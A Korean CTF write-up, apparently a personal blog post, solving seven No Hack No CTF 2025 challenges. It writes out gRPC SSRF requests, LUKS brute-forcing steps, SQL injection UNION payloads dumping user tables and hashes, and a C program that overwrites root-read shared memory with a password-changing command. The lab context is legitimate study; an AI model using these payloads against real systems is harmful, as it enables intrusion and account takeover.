No Hack No CTF 2025 7문제 문제풀이

Posted by : on

Category : ctf   forensic   reversing   learning


배경

RubiyaLab CTF팀으로 NHNC 2025에 참여하게 되었습니다.

기간 : 2025-07-05 09:00 ~ 2025-07-07 21:00 (KST)

문제 목록

  • gitgit - Misc 점수 - 441점, 푼 팀 - 28/335팀 First Blood
  • Let's Cook Some Delicious Goose! - Misc 점수 - 466점, 푼 팀 - 21/335팀
  • Crackme - Misc 점수 - 500점, 푼 팀 - 3/335팀 First Blood
  • ICED-SHELL - Reverse 점수 - 495점, 푼 팀 - 8/335팀
  • GuessyCTF - GuessyCTF 점수 - 500점, 푼 팀 - 2/335팀 First Blood
  • Server Status - Pwn 점수 - 475점, 푼 팀 - 18/335팀
  • Server Status Revenge - Pwn 점수 - 484점, 푼 팀 - 14/335팀

gitgit

문제 상황

문제

Github에 실수로 플래그를 올렸었다는 문제입니다.

분석 과정

github reflog를 키워드로 검색하여 https://api.github.com/repos/UmmItC/gitgit/events 을 이용해 어떤 커밋이 올라왔었는지 확인했습니다.

https://github.com/UmmItC/gitgit/activity으로도 확인할 수 있다고 합니다.

Let’s Cook Some Delicious Goose

문제 상황

파일목록 파일

간단한 웹서버 및 패킷 캡춰본, .proto파일이 주어졌습니다.

분석 과정

wireshark 패킷 분석을 통해 웹서버에 맞는 패킷을 찾으려 하였으나 찾지 못했었습니다.

.proto파일이 단서라고 생각해 관련되어 찾아보았고, grpc파일이라는 것을 찾았습니다.

패킷

wireshark.proto파일을 등록하고 grpc를 검색하여 패킷을 발견하여 따라갔습니다.

패킷2

grpcurl을 이용해 패킷을 보낸것으로 보이며, grpc로 링크를 줄 시, 해당 링크에 접속해 응답값을 주는 모양입니다.

grpcurl을 이용해 웹서버의 flag를 요청했습니다.

go install github.com/fullstorydev/grpcurl/cmd/grpcurl@latest

grpcurl -plaintext -proto fetch.proto -d "{\"url\":\"http://localhost:80/token\",\"method\":\"GET\",\"headers\":{}}" 1.2.3.4:6666 fetch.FetchService/FetchURL

grpcurl -plaintext -proto fetch.proto -d "{\"url\":\"http://localhost:80/flag\",\"method\":\"POST\",\"headers\":{\"Content-Type\":\"application/x-www-form-urlencoded\"},\"body\":\"token=REDACTED\"}" 1.2.3.4:6666 fetch.FetchService/FetchURL

Crackme

문제 상황

Qemu Disk(qcow2)파일이 주어졌습니다.

분석 과정

  • Qemu로 실행함 -> 패스워드가 걸려있음
  • 검색하여 qcow2파일을 wsl2에 마운트 하였습니다. qcow2파일은 부트볼륨, 데이터볼륨, luks 암호화볼륨으로 되어있었습니다.
  • 다음과 같은 파일이 있었습니다. 패킷2
  • photorec은 지워진 파일 복구 도구입니다.
  • .photorec.sig파일을 current dir로 옮긴 뒤, photorec.sig 명칭변경하여 sig 적용 후 photorec을 실행하였습니다. 옵션을 통해 타겟은 커스텀 파일로만 하였습니다.
  • 1기가 등의 큰 파일이 나왔습니다. head명령어를 통해 NHNCKEY2025____로 시작하는 4111바이트를 빼내, 키로 luks드라이브를 열었습니다.
  • cryptsetup luksOpen /dev/nbd0p2 ww3 --key-file key
  • 암호화 된 드라이브 파일이 또 나왔으며, wordlist가 나왔습니다. wordlist엔 1000라인의 키가 있었습니다.
  • 해시캣이나 툴을 이용해 luks 복호화를 시도했지만, 새로 나온 드라이브는 luks2로 암호화 되어 툴들이 먹히지 않았습니다.
  • luks2에 먹히는 https://github.com/glv2/bruteforce-luks 툴을 이용해 복호화를 시도하였습니다
  • 12스레드 1시간 40% 복호화 진행되였습니다.
  • 맥을 가진 팀원의 도움으로 복호화를 빠르게 시도하여 키를 발견하였습니다. 환경별로 성능 영향이 큰 듯 합니다.
  • 풀린 파일 내부에는 플래그가 바로 있었습니다. 플래그

ICED-SHELL

문제 상황

윈도우 exe파일 및 패킷 파일이 주어졌습니다.

분석 과정

패킷 파일 실행 파일

패킷은 이미지에 있는 내용이 전부였으며, Exe는 node 스크립트를 pkg명령어를 통해 exe로 번들한 파일이였습니다.

  • node내부 js 추출 시도하였습니다.
    • 데이터 영역에 js 코드가 있는지 찾아보았으나 실행 영역은 찾지 못했습니다
    • unpacker를 이용해 추출하였으나 바이트코드가 나와 일부 데이터만 알아볼 수 있었습니다.
      • 문제를 푼 후, 해당 바이트 코드는 v8 jsc decompiler를 통해 디스어셈블 및 디컴파일 할 수 있단 것을 알게 되었습니다. 추출된 파일
  • AE50o00ooo00K3Y!을 키로 wireshark로 건내 받은 패킷을 복호화하였습니다. 처음은 복호화가 되나, iv가 random이여서 전부 복호화 되진 않았습니다. 일부 복호화

아래는 wireshark를 통해 추출된 데이터들입니다.

[0] ca0f3858cc55d5cc85e2fc8d56eae91e
[1] 5a5521129bafca683bc57e41fdf60392
[2] 2fb91c41dde3098addb4942e2fcbc5d82628fa5bf21a63025b19ebb5514a962d
[3] 1ed0812489fd84ef9a5cf0b4de13eb9b
[4] 90829fb86395ecc44d6f8a96bf9d3918f6ec91ab8a1cdc279cc1cf042e05f4c1cd0df8c49805a655a8eccab8ff09377a377306820376e5ea6461a3de5baaae1141622d9a5d46de8c9b53e3854901143b529a319c9d640ae07ae2d6559e4c9e3646c86fafb7f865f7927a94b61950c18da6efd7495175c8ddffd2edfa85a88a7616f2a0fc776c75e5c260d295e9e4c9b29a87d993dd634493f4975baf9015c263d6bc3a95cf6a247f9c3472fbb557f362bdca9af38684193ab0acf97393c150a48592367d6296941a31eda69eb8d814f4
[5] 8a57280e413562adf563d1add9dddf5e693afa47241a1336eaaf4594bfd7c90e2d4a14a5496babc0ad64a80af6b0c7cff8650753bf7b6bb6498ea3763fc42d2f
[6] ed5277d977b5ba9002223115a6656276b738136f94a5e85e496d1cd7bb3320424c056cb99b54480ae981261c73a242b037f6142eb58a7d92362b39ef0f0c2490
[7] eabb91d51534666e1b74e5843c5ed662966f9bf000b0e82a794082336bea0e8d4b9653b9e9e08f14d31c697d6626a71f
[8] 3eac4f8272ccbd86ee4ef4bf4e8d053d0046b97c1d0cb8da3e35820478d1a87f

키가 랜덤이라는 것에 중점을 두어, 첫번째나 두번째 메세지를 iv로 두고 복호화하였으며, 플랙그 값을 얻어냈습니다.

플래그

GuessyCTF

문제 상황

.

분석 과정

분석 컨텍스트가 너무 길어 요약만 남깁니다.

  • 문제파일에 주어진 움짤을 프레임단위로 잘라, 접속 주소 및 웹 계산기라는 힌트를 받음
  • nc를 통해 해당 주소에 접근, +-*/() 및 숫자만 입력 가능한 계산기였음
  • 디스코드 메세지에 출제자가 보낸 메세지를 보아, <w><h><a><l><e> <server> <i><s> <h><and><some><!>라는 메세지를 추출해냈으며, <h><and><some><!>의 순서에 해당하는 9, 10, 11, 12를 추출해냈습니다.
  • 웹 계산기의 정답은 9+10+11+12였습니다. 그냥 42라고 입력해도 정답이여서, 브루트포스 하는게 편할뻔했습니다.
  • nc 정답에서 나온 암호문을 whale...로 복호화하였습니다. 복호화
  • 트위터에 들어가보니 페이즈북 주소가 있었으며, 페이스북에 가보니 개인 블로그 주소가 있었습니다. 블로그
  • sqlite키워드로, 로그인에 sqlinjection을 시도했으나 실패했습니다.
  • 블로그 글은 ...com/post?id=1방식으로 불러지고 있었으며, id=1--을 넣어보니 정상 동작됐으며, id=1 and 1!=1을 넣어보니 id=999를 넣은것과 같은 결과가 떴습니다.
  • id=1 and 1!=1 union select "1", "2" 등을 통해 갯수를 늘려보았고, 3개의 값을 받아 표시하는것을 알아냈습니다. 두번재 값이 제목, 세번째 값이 내용이었습니다.
  • id=1 and 1!=1 union select "t",name,sql from sqlite_master where type='table' limit 1 offset 2 을 통해 유저테이블이 어떻게 이루어져있는지 확인했으며 계정 정보
  • 3개의 계정정보아 비밀번호 해시를 알아냈습니다.
  • 3개 계정에 대한 암호를 md5 복호화하여 알아내 로그인하니 플래그가 나왔습니다.

Server Status (Revenge)

Server Status RevengeServer Status를 같은 코드로 풀었습니다.

Server Status 문제는 dmesg, Server Status Revenge문제는 /usr/bin/dmesg를 호출했다고 합니다.

호출되는 dmesg를 조작할 수 있었던 것 같습니다.

문제 상황

서버 내부 프로그램 디컴파일 결과

루트로 실행되는 프로그램이 있었으며, 공유메모리를 통해 데이터를 저장한, 불러와서 dmesg를 실행하고 있었습니다.

분석 과정

gcc가 가능하여 다음 파일을 sftp로 넣은 뒤 컴파일 하여 실행하였습니다.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ipc.h>
#include <sys/shm.h>
#include <unistd.h>
#include <errno.h>

#define SHM_SIZE 1024
#define MAX_KEY 0xFFFFF      // 스캔할 최대 키 값
#define SCAN_INTERVAL_SEC 1  // 전체 스캔 주기 (초)

 void find_and_write(key_t key, const char* data) {
     int shm_id;
     char* shm_addr;

     // IPC_CREAT 플래그 없이 shmget을 호출하여 해당 key의 메모리가 '존재하는지' 확인합니다.
     shm_id = shmget(key, SHM_SIZE, 0666);
     if (shm_id == -1) {
         // 대부분의 키는 메모리가 없으므로, 실패하는 것이 정상입니다.
         // 따라서 오류 메시지 없이 조용히 반환합니다.
         return;
     }

     // 이 줄에 도달했다면, 해당 key의 공유 메모리를 찾은 것입니다.
     printf("발견 (Key: %u)! 데이터 쓰기를 시도합니다...\n", key);

     shm_addr = (char*)shmat(shm_id, NULL, 0);
     if (shm_addr == (char*)-1) {
         perror("shmat failed");
         return;
     }

    // --- 추가 코드 시작: 원래 데이터를 읽어서 출력 ---
    {
        char original[SHM_SIZE];
        // 기존 메모리 내용을 복사 (널 종결자 확보)
        strncpy(original, shm_addr, SHM_SIZE - 1);
        original[SHM_SIZE - 1] = '\0';
        printf("-> 기존 데이터 (Key %u): \"%s\"\n", key, original);
    }
    // --- 추가 코드 끝 ---

     // 데이터를 쓰고 연결을 해제합니다.
     strncpy(shm_addr, data, SHM_SIZE - 1);
     shm_addr[SHM_SIZE - 1] = '\0';
     printf("-> 성공: Key %u에 데이터 쓰기 완료: \"%s\"\n", key, data);

     if (shmdt(shm_addr) == -1) {
         perror("shmdt failed");
     }
 }

int main(int argc, char* argv[]) {
    // 인자로 '쓸 데이터'를 받습니다.
    if (argc != 2) {
        fprintf(stderr, "사용법: %s \"<쓸 데이터>\"\n", argv[0]);
        return 1;
    }
    const char* data_to_write = argv[1];

    printf("프로그램 시작. 모든 키(0 ~ %u)를 주기적으로 스캔하여 데이터를 씁니다.\n", MAX_KEY);
    printf("종료하려면 Ctrl+C를 누르세요.\n");

    // 전체 스캔을 반복하는 무한 루프
    while (1) {


        // 0부터 0xFFFFF까지 모든 키를 순회합니다.
        for (key_t key = 1; key <= MAX_KEY; key++) {
            find_and_write(key, data_to_write);

        }

        printf("스캔 완료. %d초 후 다시 시작합니다.\n", SCAN_INTERVAL_SEC);
        sleep(SCAN_INTERVAL_SEC);
    }

    return 0;
}

./a.out "echo 'root:root' | chpasswd" & 이후 루트로 로그인하여 /flag 값을 읽었습니다.

작성자의 글

  • Server Status Revenge 문제를 풀고 나니 플래그가 맞지 않아 운영진에게 문의했었습니다. 오류였다고 해서 수정했다고 하자마자 제출했는데 First Blood가 아니더라고요…
  • 재미있었습니다.

참조

  • .

About 영원염원영웅
영원염원영웅

공부하는것을 좋아합니다.

Email : xhve00000@gmail.com

Website : http://eveheeero.com

Useful Links